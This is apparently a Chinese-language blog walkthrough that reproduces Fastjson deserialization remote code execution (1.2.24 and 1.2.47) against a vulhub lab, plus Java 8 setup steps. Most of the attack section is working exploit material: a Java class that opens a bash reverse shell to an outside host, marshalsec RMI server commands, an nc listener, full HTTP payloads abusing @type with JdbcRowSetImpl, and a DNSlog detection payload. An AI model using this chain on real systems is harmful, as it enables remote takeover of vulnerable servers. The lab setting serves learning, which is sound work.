Fastjson 反序列化漏洞復現

Fastjson 反序列化漏洞復現

前言

因爲之前並沒有遇到過fastjson相關的漏洞,剛好這次有機會碰到了就順便學習一下並記錄自己踩過的坑。

漏洞描述

fastjson提供了autotype功能,在請求過程中,我們可以在請求包中通過修改@type的值,來反序列化爲指定的類型,而fastjson在反序列化過程中會設置和獲取類中的屬性,如果類中存在惡意方法,就會導致代碼執行等這類問題。

漏洞復現

這裏漏洞環境主要是用vulhub上的兩個fastjson漏洞搭建,搭建完成以後訪問8090端口會出現如下所示
在這裏插入圖片描述
漏洞利用需要我們在vps上啓一個RMI服務並調用class文件,這些我們都可以在一臺服務器上完成。
首先我們先創建命令執行代碼,執行命令反彈shell,創建test.java,使用命令javac test.java編譯生成test.class(整個實驗環境都是基於java8的基礎上)

import java.lang.Runtime;
import java.lang.Process;

public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然後我們藉助marshalsec項目,啓動一個RMI服務器,監聽9999端口,並制定加載遠程類test.class
我們首先需要編譯生成marshalsec-0.0.3-SNAPSHOT-all.jar,這裏踩過一個坑,之前服務器上裝的jdk11後來在操作過程中不斷報錯,後來經過排查發現這個jar包需要使用java8來進行編譯,文末我會附上相關安裝教程。

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests

出現如下圖所示代表編譯完成,去target目錄下即可查看到
在這裏插入圖片描述
我們先啓一個http服務方便等會加載test.class

# python2
python2 -m SimpleHTTPServer
# python3 
python3 -m http.server

然後我們再啓RMI服務監聽9999端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://59.110.xx.xx:8000/#test" 9999

在這裏插入圖片描述
本地服務器監聽8002端口

nc -nvlp 8002

以上所有操作均在同一臺服務器上完成

fastjson 1.2.24

請求包

POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://59.110.xx.xx:9999/Test",
        "autoCommit":true
    }
}

發送請求以後回服務器查看返回的shell
在這裏插入圖片描述

fastjson 1.2.47

請求包

POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://59.110.xx.xx:9999/test",
        "autoCommit":true
    }
}

查看shell
在這裏插入圖片描述

附錄

Fastjson漏洞探測

DNS log

在http://dnslog.cn/隨機生成一個域名,然後構造payload

{"@type":"java.net.InetAddress","val":"dsunaw.dnslog.cn"}

將payload放在請求主體裏發送,假如dnslog有記錄則存在fastjson漏洞
在這裏插入圖片描述

payload探測

在這裏插入圖片描述

安裝java8

下載地址:https://github.com/frekele/oracle-java/releases
下載jdk-8u221-linux-x64.tar.gz

卸載

# 查看安裝的OpenJDK包
dpkg --list | grep -i jdk
# 卸載OpenJDK相關包
apt-get purge openjdk-*
# 檢查所有 OpenJDK包是否都已卸載完畢
dpkg --list | grep -i jdk

安裝

# 將壓縮包放到/opt/java目錄下
mv jdk-8u212-linux-x64.tar.gz /opt/java

# 解壓
tar -zxvf jdk--8u212-linux-x64.tar.gz

# 配置環境變量
修改/etc/profile文件
vim /etc/profile
在文末追加如下信息
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre  
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}

# 使java環境生效
source /etc/profile

# 查看是否安裝成功 
java -version

如下所示代表安裝成功
在這裏插入圖片描述

參考

https://zhuanlan.zhihu.com/p/99075925
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章